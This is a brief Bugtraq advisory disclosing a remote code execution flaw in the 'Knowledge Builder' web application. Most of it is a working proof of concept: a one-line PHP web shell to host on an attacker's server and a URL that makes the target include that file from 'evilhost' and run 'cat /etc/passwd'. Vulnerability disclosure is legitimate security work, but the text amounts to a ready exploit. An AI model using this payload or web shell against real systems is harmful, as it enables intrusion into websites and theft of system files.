Bugtraq: Remote Code Execution in Knowledge Builder.

[Zero_X www.lobnan.de Team <zero-x () linuxmail org>]

Remote Code Execution in Knowledge Builder.

"Knowledge Builder" from www.activecampaign.com allows to execute code.

Example:

Create the following file on your webserver:

----index.php----
<?
system($cmd);
?>
-----------------

And then type in the following URL:

http://targethost/kb/index.php?page=http://evilhost/index&cmd=cat /etc/passwd


Zero X, member of www.lobnan.de and www.lostkey.org